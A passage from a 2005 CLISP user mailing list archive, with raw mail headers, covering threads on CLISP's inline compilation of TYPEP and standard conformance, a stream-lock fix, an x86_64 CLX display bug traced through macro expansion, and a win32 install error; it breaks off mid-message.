Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV GOL X-Abuse-Complaints: abuse@gol.com X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: puzzling error while loading fas file. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 5 18:40:17 2005 X-Original-Date: Tue, 6 Sep 2005 10:38:21 +0900 Sam Steingold wrote: > > * Takehiko Abe [2005-09-06 00:18:10 +0900]: > > > > This is not like defmacro or defmethod --- it is about compiling > > TYPEP. > > Finally, some relevant information. > Indeed, CLISP compiles TYPEP inline (see clisp/src/compiler.lisp:c-TYPEP) > when the type argument is available at compile time. Ok. That clisp compiles TYPEP inline is fine if it does not error at load time. Why does clisp have to call FIND-CLASS at load time? In my program, the class is available at run time. If clisp compiler requires that a class name referred to by TYPEP is present at compile time, I would not be very happy but it would have been clear what was going on. But, clisp does not require it. Instead, it quietly produces different fas files and and the one with the inlined TYPEP signals error at load time. > > If your program does not support that, it is not "conforming", see I do not agree. > : > Classes defined by defclass in the compilation environment must > be defined at run time to have the same superclasses and same > metaclass. In my program, the class defined in compile time is also available in run time. So I believe it is conforming. [btw, the test code I posted works fine with MCL/OpenMCL and sbcl.] > Please make sure that your mailer respects "Reply-to" and > "Mail-Copies-To" headers. Sorry about that. I'll be carefull. From sds@gnu.org Mon Sep 05 21:48:07 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ECVNN-0001LO-3G for clisp-list@lists.sourceforge.net; Mon, 05 Sep 2005 21:48:05 -0700 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ECVNK-00086m-L2 for clisp-list@lists.sourceforge.net; Mon, 05 Sep 2005 21:48:05 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 06 Sep 2005 00:47:58 -0400 X-IronPort-AV: i="3.96,170,1122868800"; d="scan'208"; a="78256640:sNHT23201052" To: clisp-list@lists.sourceforge.net, "Takehiko Abe" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050906013821.3295@roaming.gol.com> (Takehiko Abe's message of "Tue, 6 Sep 2005 10:38:21 +0900") References: <20050906013821.3295@roaming.gol.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Takehiko Abe" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: puzzling error while loading fas file. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 5 21:49:19 2005 X-Original-Date: Tue, 06 Sep 2005 00:47:03 -0400 > * Takehiko Abe [2005-09-06 10:38:21 +0900]: > >> If your program does not support that, it is not "conforming", see > > I do not agree. > >> : >> Classes defined by defclass in the compilation environment must >> be defined at run time to have the same superclasses and same >> metaclass. > > In my program, the class defined in compile time is also available in > run time. So I believe it is conforming. the error indicates that this is not the case. Let me clarify: the environment in which you compiled the code (calling TYPEP) must be "isomorphic" to the environment in which you load the compiled code. the "isomorphism" is described in the aforementioned page. specifically, whatever classes are defined during the compilation must be "similarly" (same superclasses & metaclass) defined at loading. the reason that you are getting the error is that your class is defined at compile time but not at load time. thus your "program" (defined in this context as the process in which you compile and load your files) is not "conforming". this is a very simple matter: just clean up the dependencies in your defsystem. > [btw, the test code I posted works fine with MCL/OpenMCL and sbcl.] this just means that MCL/OpenMCL and sbcl can run certain non-conforming programs. so? there are lots of non-conforming programs that clisp can run and other lisps cannot. this does not make those programs conforming. -- Sam Steingold (http://www.podval.org/~sds) running w2k Winners never quit; quitters never win; idiots neither win nor quit. From keke@gol.com Mon Sep 05 23:04:52 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ECWZf-0004A7-TN for clisp-list@lists.sourceforge.net; Mon, 05 Sep 2005 23:04:51 -0700 Received: from smtp02.dentaku.gol.com ([203.216.5.72]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ECWZe-000785-It for clisp-list@lists.sourceforge.net; Mon, 05 Sep 2005 23:04:51 -0700 Received: from d168.gosakafl24.vectant.ne.jp ([202.215.177.168] helo=[192.168.1.2]) by smtp02.dentaku.gol.com with esmtpa (Dentaku) id 1ECWZX-0005Sz-Jn for ; Tue, 06 Sep 2005 15:04:43 +0900 From: "Takehiko Abe" To: Message-Id: <20050906060405.278@roaming.gol.com> In-Reply-To: References: X-Mailer: CTM PowerMail 4.2.1 us Carbon MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV GOL X-Abuse-Complaints: abuse@gol.com X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: puzzling error while loading fas file. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 5 23:05:35 2005 X-Original-Date: Tue, 6 Sep 2005 15:04:05 +0900 Sam Steingold wrote: > >> : > >> Classes defined by defclass in the compilation environment must > >> be defined at run time to have the same superclasses and same > >> metaclass. > > > > In my program, the class defined in compile time is also available in > > run time. So I believe it is conforming. > > the error indicates that this is not the case. > > Let me clarify: > the environment in which you compiled the code (calling TYPEP) must be > "isomorphic" to the environment in which you load the compiled code. The hyperspec page says: "... must be defined at run time." Not "load time". And yes the environment in which I run my code is 'isomorphic' to the compile time environment. > the "isomorphism" is described in the aforementioned page. > specifically, whatever classes are defined during the compilation must > be "similarly" (same superclasses & metaclass) defined at loading. Again, it does not say "at loading". It says "run time". Loading is about constructing a run time environment. If I already have that environment, I don't have to load any file. > the reason that you are getting the error is that your class is defined > at compile time but not at load time. > thus your "program" (defined in this context as the process in which you > compile and load your files) is not "conforming". > > this is a very simple matter: just clean up the dependencies in your > defsystem. The typep form referred to XXX is in file A, and XXX is defined as a class name in file B. But in the real code the file B depends on file A. So it is not defsystem issue though I think I can reorganize my code. And the dependency in this case is peculiar in that clisp produces more robust code when the offending class is _not_ present. That puzzled me. > > [btw, the test code I posted works fine with MCL/OpenMCL and sbcl.] > > this just means that MCL/OpenMCL and sbcl can run certain non-conforming > programs. so? there are lots of non-conforming programs that clisp can > run and other lisps cannot. this does not make those programs conforming. I know. But I believe my program is conforming. From sds@gnu.org Tue Sep 06 08:31:55 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ECfQK-0001Cr-V8 for clisp-list@lists.sourceforge.net; Tue, 06 Sep 2005 08:31:48 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ECfQE-0004zd-Mu for clisp-list@lists.sourceforge.net; Tue, 06 Sep 2005 08:31:49 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j86FV8l8003678; Tue, 6 Sep 2005 11:31:08 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Takehiko Abe" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050906060405.278@roaming.gol.com> (Takehiko Abe's message of "Tue, 6 Sep 2005 15:04:05 +0900") References: <20050906060405.278@roaming.gol.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Takehiko Abe" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: puzzling error while loading fas file. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 6 08:32:33 2005 X-Original-Date: Tue, 06 Sep 2005 11:30:17 -0400 > * Takehiko Abe [2005-09-06 15:04:05 +0900]: > > Sam Steingold wrote: > >> >> : >> >> Classes defined by defclass in the compilation environment must >> >> be defined at run time to have the same superclasses and same >> >> metaclass. >> > >> > In my program, the class defined in compile time is also available in >> > run time. So I believe it is conforming. >> >> the error indicates that this is not the case. >> >> Let me clarify: >> the environment in which you compiled the code (calling TYPEP) must be >> "isomorphic" to the environment in which you load the compiled code. > > The hyperspec page says: "... must be defined at run time." > Not "load time". And yes the environment in which I run my code > is 'isomorphic' to the compile time environment. I believe that in this context load time is included in run time. : To load a file is to treat its contents as code and execute that code. >> the reason that you are getting the error is that your class is defined >> at compile time but not at load time. >> thus your "program" (defined in this context as the process in which you >> compile and load your files) is not "conforming". >> >> this is a very simple matter: just clean up the dependencies in your >> defsystem. > > The typep form referred to XXX is in file A, and XXX is defined as a > class name in file B. But in the real code the file B depends on file A. > So it is not defsystem issue though I think I can reorganize my code. Please do. Such circular dependencies will bite you sooner or later. > And the dependency in this case is peculiar in that clisp produces > more robust code when the offending class is _not_ present. That > puzzled me. more "robust" here means "less optimized". -- Sam Steingold (http://www.podval.org/~sds) running w2k Your mouse has moved - WinNT has to be restarted for this to take effect. From sds@gnu.org Tue Sep 06 09:10:49 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ECg24-0002wh-RL for clisp-list@lists.sourceforge.net; Tue, 06 Sep 2005 09:10:48 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ECg21-0005y7-I4 for clisp-list@lists.sourceforge.net; Tue, 06 Sep 2005 09:10:48 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j86GAEVZ010622; Tue, 6 Sep 2005 12:10:16 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Takehiko Abe" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050901113023.23343@roaming.gol.com> (Takehiko Abe's message of "Thu, 1 Sep 2005 20:30:23 +0900") References: <20050901113023.23343@roaming.gol.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Takehiko Abe" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: posix:stream-lock Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 6 09:11:25 2005 X-Original-Date: Tue, 06 Sep 2005 12:09:24 -0400 > * Takehiko Abe [2005-09-01 20:30:23 +0900]: > > I cannot figure out how to use posix:stream-lock . > >> (defparameter *lock* (open "lock" :direction :output)) > *LOCK* >> *lock* > # >> (posix:stream-lock *lock* t :shared nil :block nil) > T >> (posix:stream-lock *lock* t :shared nil :block nil) > T >> (close *lock*) > > I expected the second call to stream-lock singals error but it did > not. What am I missing? I fixed stream-lock over the last few days. please get the CVS head sources and build CLISP from them. here is what I see now (I use 2 processes): [1]> (setq s (open "foo" :direction :output)) # [2]> (stream-lock s t) T [3]> (stream-lock s nil) NIL [4]> (stream-lock s t) ; hangs until the 2nd process releases the lock T [5]> (stream-lock s nil) NIL [6]> (close s) T [7]> (delete-file s) #P"/.../foo" [8]> Bye. [1]> (setq s (open "foo" :direction :output)) # [4]> (stream-lock s t) ; hangs until the 1st process releases the lock T [5]> (stream-lock s nil) NIL [6]> (stream-lock s t :block nil) ; returns NIL immediately NIL [7]> (stream-lock s t :block nil) ; returns T immeditely T [8]> (close s) T [9]> Bye. -- Sam Steingold (http://www.podval.org/~sds) running w2k Sufficiently advanced stupidity is indistinguishable from malice. From werner@suse.de Tue Sep 06 09:18:32 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ECg9T-0003Ie-Sp for clisp-list@lists.sourceforge.net; Tue, 06 Sep 2005 09:18:27 -0700 Received: from cantor.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ECg9R-0007lf-Fl for clisp-list@lists.sourceforge.net; Tue, 06 Sep 2005 09:18:27 -0700 Received: from Relay1.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id 13340E63E for ; Tue, 6 Sep 2005 18:18:19 +0200 (CEST) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Message-ID: <20050906161815.GA11535@boole.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Organization: SuSE LINUX AG User-Agent: Mutt/1.5.9i X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] No X Window with clisp 2.35 on x86_64 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 6 09:19:36 2005 X-Original-Date: Tue, 6 Sep 2005 18:18:15 +0200 Hi, it seems that on AMD64 the record type is lost for the display object. I've added a fprintf's to make_display() in modules/clx/new-clx/clx.f allocate_fpointer() in x86_64-suse-linux/spvw_typealloc.c and got the result that the macro Record_type() report 18 within allocate_fpointer() for the return result and 0 from make_display() ... later one leads to the error that the display is closed by the check ensure_living_display(). The build has used TYPECODES. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@gnu.org Tue Sep 06 09:58:55 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ECgmd-000598-Nc for clisp-list@lists.sourceforge.net; Tue, 06 Sep 2005 09:58:55 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ECgmX-0008Pp-Sw for clisp-list@lists.sourceforge.net; Tue, 06 Sep 2005 09:58:56 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j86GwY0M017983; Tue, 6 Sep 2005 12:58:35 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050906161815.GA11535@boole.suse.de> (Werner Fink's message of "Tue, 6 Sep 2005 18:18:15 +0200") References: <20050906161815.GA11535@boole.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: No X Window with clisp 2.35 on x86_64 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 6 09:59:47 2005 X-Original-Date: Tue, 06 Sep 2005 12:57:44 -0400 > * Dr. Werner Fink [2005-09-06 18:18:15 +0200]: > > Hi, > > it seems that on AMD64 the record type is lost for > the display object. I've added a fprintf's to > > make_display() in modules/clx/new-clx/clx.f > allocate_fpointer() in x86_64-suse-linux/spvw_typealloc.c > > and got the result that the macro Record_type() > report 18 within allocate_fpointer() for the > return result and 0 from make_display() ... > later one leads to the error that the display > is closed by the check ensure_living_display(). > > The build has used TYPECODES. it appears that this is the same bug as -- Sam Steingold (http://www.podval.org/~sds) running w2k NY survival guide: when crossing a street, mind cars, not streetlights. From lisp-clisp-list@m.gmane.org Tue Sep 06 18:29:46 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ECoky-0002ja-CI for clisp-list@lists.sourceforge.net; Tue, 06 Sep 2005 18:29:44 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ECokx-00056V-0S for clisp-list@lists.sourceforge.net; Tue, 06 Sep 2005 18:29:44 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1ECojZ-00016E-Qc for clisp-list@lists.sourceforge.net; Wed, 07 Sep 2005 03:28:17 +0200 Received: from thar.dhcp.asu.edu ([149.169.179.56]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 07 Sep 2005 03:28:17 +0200 Received: from efuzzyone by thar.dhcp.asu.edu with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 07 Sep 2005 03:28:17 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 27 Message-ID: References: <431879D0.000003.17385@mfront8.yandex.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: thar.dhcp.asu.edu Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:htiaco6Qc+mTn7hDWddGozB78fM= X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp/win32 requires libpq.dll & LDAP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 6 18:30:15 2005 X-Original-Date: Tue, 06 Sep 2005 18:27:58 -0600 Hello, Sam Steingold writes: >> * ya007 [2005-09-02 20:12:00 +0400]: >> >> I have downloaded clisp-2.35-win32.zip. After I unzip it and run >> install.bat Windows says that "lisp.exe - Unable To Locate Component", >> "This application was failed to start because libpq.dll was not >> found. Re-installing the application may fix this problem" > > install PostGreSQL 8 (clisp comes with an interface to PostGreSQL) or > use the base linking set (remove "-K full") from the argument list of > "clisp". I tried removing "-K full" from the install.bat, but the install.bat file still gives an error, and doesn't do anything. "***USE_PACKAGE: - There is no package with name LDAP". Thanks. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html "All animals are equal, but some animals are more equal than others." - Orwell, Animal Farm, 1945 From werner@suse.de Wed Sep 07 05:24:38 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ECyyi-0001dn-KR for clisp-list@lists.sourceforge.net; Wed, 07 Sep 2005 05:24:36 -0700 Received: from mail.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ECyyi-000417-25 for clisp-list@lists.sourceforge.net; Wed, 07 Sep 2005 05:24:36 -0700 Received: from Relay1.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id BD80EEF6F for ; Wed, 7 Sep 2005 14:24:32 +0200 (CEST) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Message-ID: <20050907122432.GA26537@wotan.suse.de> References: <20050906161815.GA11535@boole.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: Organization: SuSE LINUX AG User-Agent: Mutt/1.5.6i X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: No X Window with clisp 2.35 on x86_64 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 7 05:25:17 2005 X-Original-Date: Wed, 7 Sep 2005 14:24:32 +0200 On Tue, Sep 06, 2005 at 12:57:44PM -0400, Sam Steingold wrote: > > * Dr. Werner Fink [2005-09-06 18:18:15 +0200]: > > > > Hi, > > > > it seems that on AMD64 the record type is lost for > > the display object. I've added a fprintf's to > > > > make_display() in modules/clx/new-clx/clx.f > > allocate_fpointer() in x86_64-suse-linux/spvw_typealloc.c > > > > and got the result that the macro Record_type() > > report 18 within allocate_fpointer() for the > > return result and 0 from make_display() ... > > later one leads to the error that the display > > is closed by the check ensure_living_display(). > > > > The build has used TYPECODES. > > it appears that this is the same bug as > Hmmm ... I do not think that the gcc4 is misscompiling ensure_living_display() but that the cpp macro Record_type() used in spvw_typealloc.d and clx.f is not identical. Just tried the -E -P option of gcc and found this: spvw.c: ((((Record)(((0==0) && ((((oint)(tint)(( (1L<<(3)) |(1L<<(0)))|\ ((1L<<(3))|(1L<<(1)))|((1L<<(3))|(1L<<(1))|(1L<<(0)))|((1L<<(3))|\ (1L<<(2)))|((1L<<(3))|(1L<<(2))|(1L<<(0)))|((1L<<(3))|\ (1L<<(2))|(1L<<(1)))) << 48) & ~0UL) == 0) ? \ (void*)(aint)(oint)(result) : \ (void*)(aint)((void*)((aint)((oint)(result)) & \ ((aint)0x0000FFFFFFFFFFFFUL | ~~0UL)))))))->rectype) clx.c: 